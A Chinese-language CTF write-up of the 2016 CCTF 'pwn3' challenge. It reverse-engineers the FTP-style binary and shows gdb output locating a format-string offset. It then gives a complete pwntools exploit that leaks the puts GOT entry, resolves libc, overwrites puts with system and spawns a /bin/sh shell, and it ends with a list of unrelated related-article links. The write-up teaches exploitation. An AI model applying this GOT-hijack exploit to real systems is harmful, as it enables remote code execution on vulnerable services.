1.pwn3

题目下载,FORK自CTFWIKI
emmm经过菜鸡的无限自闭大法。结合师兄的无私指教,终于把这题弄懂了

用IDA打开的时候出现了一点意外,我也不知道什么叫作盗版的IDA生成的数据库

image.png

后来直接生成的c代码文件
代码连接

经过分析,程序分为五个大块。main函数,验证身份函数,put_file函数,get_file函数,show_dir函数
是一个需要验证身份的ftp连接程序。

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{signed int v3; // eaxint v4; // [esp+14h] [ebp-2Ch]int v5; // [esp+3Ch] [ebp-4h]setbuf(stdout, 0);ask_username((char *)&v4);ask_password((char *)&v4);while ( 1 ){while ( 1 ){print_prompt();v3 = get_command();v5 = v3;if ( v3 != 2 )break;put_file();}if ( v3 == 3 ){show_dir();}else{if ( v3 != 1 )exit(1);get_file();}}
}

看到主函数,这里先进行了ask_username和ask_password的函数进行验证身份。再选择操作,根据操作来进行put_file,showdir,get_file的操作。

//----- (0804894B) --------------------------------------------------------
char *__cdecl ask_username(char *dest)
{char src[40]; // [esp+14h] [ebp-34h]int i; // [esp+3Ch] [ebp-Ch]puts("Connected to ftp.hacker.server");puts("220 Serv-U FTP Server v6.4 for WinSock ready...");printf("Name (ftp.hacker.server:Rainism):");__isoc99_scanf("%40s", src);for ( i = 0; i <= 39 && src[i]; ++i )++src[i];return strcpy(dest, src);
}
// 8048550: using guessed type int __isoc99_scanf(const char *, ...);
// 804894B: using guessed type char src[40];
//----- (080489D6) --------------------------------------------------------
int __cdecl ask_password(char *s1)
{if ( strcmp(s1, "sysbdmin") ){puts("who you are?");exit(1);}return puts("welcome!");
}

这里验证身份处的两个函数,是对你输入的src进行每一个字符的+1处理,再与“sysbdmin"进行对比所以在

tmp = 'sysbdmin'
name = ""
for i in tmp:name += chr(ord(i) - 1)

此位置构造的脚本

signed int get_command()
{char s1; // [esp+1Ch] [ebp-Ch]__isoc99_scanf("%3s", &s1);if ( !strncmp(&s1, "get", 3u) )return 1;if ( !strncmp(&s1, "put", 3u) )return 2;if ( !strncmp(&s1, "dir", 3u) )return 3;return 4;
}

然后就进行选择操作,根据get_command()的函数中,可以发现进入选择只有get,put,dir,对应的操作就是get_file,put_file,dir_show。

//----- (080487F6) --------------------------------------------------------
int get_file()
{char dest; // [esp+1Ch] [ebp-FCh]char s1; // [esp+E4h] [ebp-34h]char *i; // [esp+10Ch] [ebp-Ch]printf("enter the file name you want to get:");__isoc99_scanf("%40s", &s1);if ( !strncmp(&s1, "flag", 4u) )puts("too young, too simple");for ( i = (char *)file_head; i; i = (char *)*((_DWORD *)i + 60) ){if ( !strcmp(i, &s1) ){strcpy(&dest, i + 0x28);return printf(&dest);}}return printf(&dest);
}
//----- (080486E7) --------------------------------------------------------
int show_dir()
{int v0; // eaxchar s[1024]; // [esp+14h] [ebp-414h]int i; // [esp+414h] [ebp-14h]int j; // [esp+418h] [ebp-10h]int v5; // [esp+41Ch] [ebp-Ch]v5 = 0;j = 0;bzero(s, 0x400u);for ( i = file_head; i; i = *(_DWORD *)(i + 240) ){for ( j = 0; *(_BYTE *)(i + j); ++j ){v0 = v5++;s[v0] = *(_BYTE *)(i + j);}}return puts(s);
}

经过分析,file_head在get_file输入时会保存在get_file函数中s1的地址,并在show_dir函数中将get_file赋给s,输出s,那么我们就可以在尝试将got表中puts函数替换成sys函数。

思路:
通过密码
确认格式化地址偏移,获取puts地址
got表换取libc.so版本,获取system地址
将puts地址内容修改为system
修改file_head指向/bin/sh
show_dir执行puts,等同system("/bin/sh“)

gdb断点调试,获得字符串漏洞偏移

gdb-peda$ b *0x0804889E
Breakpoint 1 at 0x804889e
gdb-peda$ r
Starting program: /mnt/hgfs/CTF/share/pwn/ctf-challenges/pwn/fmtstr/2016-CCTF-pwn3/pwn3
Connected to ftp.hacker.server
220 Serv-U FTP Server v6.4 for WinSock ready...
Name (ftp.hacker.server:Rainism):rxraclhm
welcome!
ftp>get
enter the file name you want to get:1111[----------------------------------registers-----------------------------------]
EAX: 0xffffcd3c --> 0xf7e4ddab (<_IO_new_file_write+43>:    add    esp,0x10)
EBX: 0x0
ECX: 0x66 ('f')
EDX: 0xffffce04 ("1111")
ESI: 0xf7fb4000 --> 0x1d7d6c
EDI: 0x0
EBP: 0xffffce38 --> 0xffffce88 --> 0x0
ESP: 0xffffcd20 --> 0xffffcd3c --> 0xf7e4ddab (<_IO_new_file_write+43>: add    esp,0x10)
EIP: 0x804889e (<get_file+168>: call   0x80484c0 <printf@plt>)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]0x8048893 <get_file+157>:    jne    0x8048853 <get_file+93>0x8048895 <get_file+159>:    lea    eax,[ebp-0xfc]0x804889b <get_file+165>:    mov    DWORD PTR [esp],eax
=> 0x804889e <get_file+168>:    call   0x80484c0 <printf@plt>0x80488a3 <get_file+173>:    leave  0x80488a4 <get_file+174>:    ret    0x80488a5 <get_command>: push   ebp0x80488a6 <get_command+1>:   mov    ebp,esp
Guessed arguments:
arg[0]: 0xffffcd3c --> 0xf7e4ddab (<_IO_new_file_write+43>: add    esp,0x10)
[------------------------------------stack-------------------------------------]
0000| 0xffffcd20 --> 0xffffcd3c --> 0xf7e4ddab (<_IO_new_file_write+43>:    add    esp,0x10)
0004| 0xffffcd24 --> 0x8048baa ("flag")
0008| 0xffffcd28 --> 0x4
0012| 0xffffcd2c --> 0xf7ffd000 --> 0x26f34
0016| 0xffffcd30 --> 0x0
0020| 0xffffcd34 --> 0xf7fb4dc7 --> 0xfb58900a
0024| 0xffffcd38 --> 0x1
0028| 0xffffcd3c --> 0xf7e4ddab (<_IO_new_file_write+43>:   add    esp,0x10)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, valueBreakpoint 1, 0x0804889e in get_file ()
gdb-peda$ fmtarg 0xffffcd3c
The index of format argument : 7

exp.py

from pwn import *
from LibcSearcher import LibcSearcher
context.log_level = 'debug'
pwn3 = ELF('./pwn3')
if args['REMOTE']:sh = remote('111', 111)
else:sh = process('./pwn3')def get(name):sh.sendline('get')sh.recvuntil('enter the file name you want to get:')sh.sendline(name)data = sh.recv()return datadef put(name, content):sh.sendline('put')sh.recvuntil('please enter the name of the file you want to upload:')sh.sendline(name)sh.recvuntil('then, enter the content:')sh.sendline(content)def show_dir():sh.sendline('dir')tmp = 'sysbdmin'
name = ""
for i in tmp:name += chr(ord(i) - 1)# password
def password():sh.recvuntil('Name (ftp.hacker.server:Rainism):')sh.sendline(name)#通过密码验证
password()
#获取puts地址
puts_got = pwn3.got['puts']
log.success('puts got : ' + hex(puts_got))
#格式化字符串漏洞执行
put('1111', '%8$s' + p32(puts_got))
puts_addr = u32(get('1111')[:4])# 获取libc.so版本,根据sys和puts的相对偏移来换取对应的sys地址
libc = LibcSearcher("puts", puts_addr)
system_offset = libc.dump('system')
puts_offset = libc.dump('puts')
system_addr = puts_addr - puts_offset + system_offset
log.success('system addr : ' + hex(system_addr))# 将puts替换成sys
payload = fmtstr_payload( 7,{puts_got: system_addr})
put('/bin/sh;', payload)
sh.recvuntil('ftp>')
sh.sendline('get')
sh.recvuntil('enter the file name you want to get:')
#get中替换file_head
sh.sendline('/bin/sh;')# 执行system('/bin/sh')
show_dir()
#获取shell
sh.interactive()

获取成功

image.png

格式化字符串漏洞例子(二)hijack GOT相关推荐

  1. CTF(pwn)-格式化字符串漏洞讲解(二) --攻防世界CGfsb

    格式化字符串漏洞介绍: https://blog.csdn.net/weixin_45556441/article/details/114080930 一.分析 pwnme的地址为 0x804A068 ...

  2. 格式化字符串漏洞利用 二、格式化函数

    二.格式化函数 原文:Exploiting Format String Vulnerabilities 作者:scut@team-teso.net 译者:飞龙 日期:2001.9.1 版本:v1.2 ...

  3. CTF(pwn)-格式化字符串漏洞讲解(一)

    例题讲解 https://blog.csdn.net/weixin_45556441/article/details/114081864 一.基本介绍 格式化字符串漏洞在通用漏洞类型库CWE中的编号是 ...

  4. 格式化字符串漏洞利用

    学习资料: https://ctf-wiki.github.io/ctf-wiki/pwn/linux/fmtstr/fmtstr_exploit/                        ht ...

  5. c语言格式化字符漏洞,格式化字符串漏洞题目练习

    整合一下最近做的格式化字符串题目的练习,把wp给写一下,方便对总结对这个漏洞的利用套路和技巧. inndy_echo 保护和arch [*] '/media/psf/mypwn2/buuctf/inn ...

  6. c++字符串输入_【pwn】什么是格式化字符串漏洞?

    0x00 前言 格式化字符串漏洞是在CWE[1](Common Weakness Enumeration,通用缺陷枚举)例表中的编号为CWE-134,由于在审计过程中很容易发现该漏洞,所以此类漏洞很少 ...

  7. 格式化字符串漏洞利用 五、爆破

    五.爆破 原文:Exploiting Format String Vulnerabilities 作者:scut@team-teso.net 译者:飞龙 日期:2001.9.1 版本:v1.2 当利用 ...

  8. 雪城大学信息安全讲义 七、格式化字符串漏洞

    七.格式化字符串漏洞 原文:Format String Vulnerability 译者:飞龙 printf ( user_input ); 上面的代码在 C 程序中十分常见.这一章中,我们会发现如果 ...

  9. linux获取字符格式化,Linux 格式化字符串漏洞利用

    目的是接觸一些常見的漏洞,增加自己的視野.格式化字符串危害最大的就兩點,一點是leak memory,一點就是可以在內存中寫入數據,簡單來說就是格式化字符串可以進行內存地址的讀寫.下面結合着自己的學習 ...

  10. 格式化字符串漏洞及利用_萌新食用

    格式化字符串漏洞及利用 前言 格式化字符串漏洞 具有 任意地址读,任意地址写.  printf printf --一个参数:情况1 //gcc -g -m32 fmt.c -o fmt #includ ...

最新文章

  1. 【maven】初识maven
  2. redis中的hash
  3. java父线程子线程
  4. DDoS不同层面的防护-Vecloud
  5. 计算中英混合字符串的自己字节长度
  6. matlab遍历cell和array的for循环写法
  7. 链表之判断一个链表是否为回文结构(三)
  8. 初志科技发布云策略 安全云平台如稳固建筑
  9. Lua新闻组的其人其事(一)
  10. python必背入门代码-学 Python 必背的42个常见单词,看看你记住了几个?
  11. [技巧心得] 嵌套选择器优先级
  12. Base64转BufferedImage
  13. 搞技术的人生技巧——装贪财
  14. Java并发编程:volatile关键字解析(学习总结-海子)
  15. C#笔试面试宝典值得收藏1
  16. PMP考试涉及的计算题
  17. python读取xlsx文件中的日期
  18. 【渗透实战】web渗透实战,相对高安全级别下,详细分析整个渗透过程以及介绍社工的巧妙性,拿一站得数十站,(漏洞已交)
  19. python selenium爬取kuku漫画
  20. 利用Python自动爬取全国30+城市地铁图数据

热门文章

  1. 炫彩文字404动画页面源码
  2. 联想计算机从金丝顿u盘启动,联想笔记本不从U盘启动解决方法
  3. 用R语言软件估计光谱密度
  4. 经典算法:计算两个日期之间的天数
  5. Ubuntu 机箱前置音频接口不能用的解决方法
  6. git 找回删除的文件
  7. 跑马灯广告语的实现过程,并且自定义marquee,解决焦点抢占问题.
  8. WIN7去掉快捷方式小箭头
  9. arcgis许可服务器不运行,ArcGIS许可服务管理器无法启动问题解决方法
  10. 带计算机来学校检讨,校园检讨书